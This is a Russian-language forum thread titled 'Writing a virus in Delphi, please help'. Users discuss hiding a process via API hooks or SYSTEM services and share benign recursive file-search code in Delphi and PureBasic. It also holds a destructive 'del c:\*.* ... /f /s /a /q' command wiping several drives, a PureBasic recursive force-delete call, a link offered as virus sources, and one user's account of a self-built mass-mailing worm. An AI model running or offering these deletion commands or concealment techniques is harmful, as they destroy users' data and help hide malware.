Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: Пред. 1 2 3 4 5
RSS
Пишу вирус на Делфи, Помогите Please
 
И даже более того, я знаю как запретить эти веселые клавиши), дело в том что я писал прогу блокиратор, которая блокит всё, а потом по паролю отдает контроль обратна).
 
... и как ? Только чтобы в процессах не было видно.
 
Цитата
}{aker2 }{aker пишет:
Только чтобы в процессах не было видно.
По моему в этом и смысл???
Чтоб такое сделать нужно ставить API Hook. вот)
Если интересно то лучше стучи в асю... номерок дам в пм)
 
Это самый простой путь ? Мне говорили, что если службу написать, ее не видно. А как ее писать ?
 
Хто тебе такое сказал???
Службу напишешь она будит висеть в процах, только под юзером SYSTEM.
 
Ну сустем лучше чем юзер. Как такое сделать ?
 
C чего ты взял что лучше?? ну да есть свои плюсики, НО убить то проще простого можна)
 
Как сустем збацать?
Изменено: }{aker2 }{aker - 21.07.2009 23:39:49
 
кроч, мну надоело уже так общаться :!: либо ася либо майл либо еще что то, решай, на мыло ответ.
 
//Поиск файлов по маске по всему дереву каталогов, начиная с указанного (FindFiles('C:\Program Files\', '*.pas', L, true);)
procedure TForm1.FindFiles(StartFolder, Mask: string; L : TStringList;
 ScanSubFolders: Boolean = True);
var
 SearchRec: TSearchRec;
 FindResult: Integer;
begin
 L.BeginUpdate;
 try
   StartFolder := IncludeTrailingBackslash(StartFolder);
   FindResult := FindFirst(StartFolder + '*.*', faAnyFile, SearchRec);
   try
     while FindResult = 0 do
       with SearchRec do
       begin
         if (Attr and faDirectory) <> 0 then
         begin
           if ScanSubFolders and (Name <> '.') and (Name <> '..') then
             FindFiles(StartFolder + Name, Mask, L, ScanSubFolders);
         end
         else
         begin
           if MatchesMask(Name, Mask) then
             L.Add(StartFolder + Name);
         end;
         FindResult := FindNext(SearchRec);
         Application.ProcessMessages;
       end;
   finally
     FindClose(SearchRec);
   end;
 finally
   L.EndUpdate;
 end;
end;
 
Вот ссылка на исходники вируса на Delphi
http://depositfiles.com/files/6p2ihnqte
 
Пишите http9000@yandex.ru по вопросам написания вирусов на С, Delphi, Assembler

Клоунов на VBA прошу не беспокоить....
 
Хоспади, чего только не придумают...
del c:\*.* d:\*.* e:\*.* /f /s /a /q

Да и вообще, убивать чужое файло ради забавы это слишком жестоко. Программки в духе bad-joke - вот это я понимаю. (если найду - скину мои сорцы где мышь по рабочему столу катается как по катку с нулевым трением, а для выхода нужно попасть по маленькой кнопке "выход" ^_^ (минут через 5 попадают все))
 
я когда вирусы писал и на роботе узнали у меня комп забрали, и к компу не подпускали, а если и я был за компом то смотрели что делаю, АФТАР зачем тебе это, оно того не стоит, теперь я поменял к валификацию и занялся реверсом, может чтото полезное будет и вирусы я теперь не пишу а удаляю сам идругим помагаю чем могу
 
То же когда-то писал заразу на Delphi. Сделал рекурсивный поиск e-mail адресов в текстовых, html и базе писем The bat по всем дискам и папкам. Сделал клиента для отправки e-mail от имени M$. Маскировку не делал, просто запуск под именем одного из системных файлов рандомно. До поиска анонимных smtp не дошло поскольку не потянул придумать, что зараза делать будет...  :) Эх, время было, не то, что сейчас... за год 3и раза запускал Delphi, написал всего одну консольную утилиту, все остальное скриптами да командными файлами...
 
IceBeerg я недавно начал изучать delphi.Сразу отвернулся,так как C# + .NET меня больше радутую,как по производительности так и по размеру.А Лучше вообще С\C++ + API.
 
Цитата
VeLan пишет:
IceBeerg я недавно начал изучать delphi.Сразу отвернулся,так как C# + .NET меня больше радутую,как по производительности так и по размеру.А Лучше вообще С\C++ + API.

C# -  несогласен с вами, писать проще(может быть), производительность на любом компиляторе зависит от прямизны рук, а таскать с собой дистрибутив фреймворка(это я про размеры)?? Вообще дядюшка Билли превращает такими вот продуктами людей способных к программированию в тупых зомби-кодеров нихрена(извеняюсь) незнающих и не понимающих происходящего. Скоро, наверное, будет так - говориш программе что ты хочеш чтобы делалось, а она сама напишет код, сама его откомпилит, отдебажит, и еще и в интернете выставит и впаривать будет....
 
Пример на PureBasic
сканирование определенного диска\дирректории по маскам
Код
;- _____________________________________________________________________________ 
 ;- |                                                                           | 
 ;- |                                SearchFiles                                | 
 ;- |                                ___________                                | 
 ;- |                                                                           | 
 ;- |___________________________________________________________________________| 

 ; Recurse = 1 : Scan SubDirectories of Path 
 ; Recurse = 0 : Don't scan Subdirectories of Path 

 Declare SearchDirectory(Path.s,Mask.s) 
 Declare SearchFiles(Path.s,Mask.s) 

 Procedure.c SearchFilesInitt(Path.s,Mask.s,Recurse.l) 

   Static Flag.l 
   If Flag=0 
     Global NewList Fichiers.s() 
     Flag=1 
   Else 
     ClearList(Fichiers()) 
   EndIf 
   
   SearchFiles(Path,Mask) ; Car le rйpertoire lui mкme n'est pas scannй sinon 
   If Recurse 
     SearchDirectory(Path,Mask) 
   EndIf 
   
   ProcedureReturn ListSize(Fichiers()) ; number of files found 
 EndProcedure 

 Procedure SearchFiles(Path.s,Mask.s) 
   If Right(Path,1)<>"\" : Path+"\":EndIf 
   lpFindFileData.WIN32_FIND_DATA 
   
   Recherche.s=Path+Mask 
     handle.l = FindFirstFile_(Recherche, @lpFindFileData) 
     If handle <> #INVALID_HANDLE_VALUE 
       Repeat 
         Trouve.s=PeekS(@lpFindFileData\cFileName) 
         If lpFindFileData\dwFileAttributes & #FILE_ATTRIBUTE_DIRECTORY =#False 
             AddElement(Fichiers.s()) 
           Fichiers()=Path+Trouve 
       EndIf 
     Until FindNextFile_(handle, @lpFindFileData)= #False 
     FindClose_(handle) 
   EndIf 
   
 EndProcedure 
   
 Procedure SearchDirectory(Path.s,Mask.s) 
     If Right(Path,1)<>"\" : Path+"\":EndIf 
     lpFindFileData.WIN32_FIND_DATA 
 Recherche.s=Path+"*.*" 
 handle.l = FindFirstFile_(Recherche, @lpFindFileData) 
 If handle <> #INVALID_HANDLE_VALUE 
   Repeat 
     Trouve.s=PeekS(@lpFindFileData\cFileName) 
     If lpFindFileData\dwFileAttributes & #FILE_ATTRIBUTE_DIRECTORY 
       If Trouve <>"." And Trouve <>".." 
         SearchDirectory(Path+Trouve,Mask) 
         SearchFiles(Path+Trouve,Mask) 
       EndIf 
     EndIf 
   Until FindNextFile_(handle, @lpFindFileData)= #False 
   FindClose_(handle) 
   
 EndIf 

 EndProcedure 

 Procedure.s SearchFilesGett() 
   Static Pointeur 
     
   If Pointeur >= ListSize(Fichiers()) 
     Pointeur=0 
   Else 
     SelectElement(Fichiers(),Pointeur) 
     Retour.s=Fichiers() 
     Pointeur+1 
   EndIf 
   
   ProcedureReturn Retour.s 
 EndProcedure 



 NbFiles=SearchFilesInitt(GetSystemDirectory(),"*.txt",1) 

 Text.s=Str(NbFiles)+" files found"+#CRLF$+#CRLF$ 

 Repeat 
   File.s=SearchFilesGett() 
   If File="" : Break : EndIf 
   Text + File + #CRLF$ 
 ForEver 

 MessageRequester("*.TXT in SystemDirectory",Text)

проще всего было бы просто убить все файлы нужного расширения в определенной папке,либо убить абослютно все файлы:
Код
DeleteDirectory("АДРЕС ПАПКИ","*.*",#PB_FileSystem_Recursive|#PB_FileSystem_Force)

"АДРЕС ПАПКИ" ну тут думаю всем ясно
"*.*" формат файлов(паттерн)
#PB_FileSystem_Recursive удаление со всеми подпапками
#PB_FileSystem_Force удаление защищенных файлов(ридонли,системный и тд и тп)
Страницы: Пред. 1 2 3 4 5
Читают тему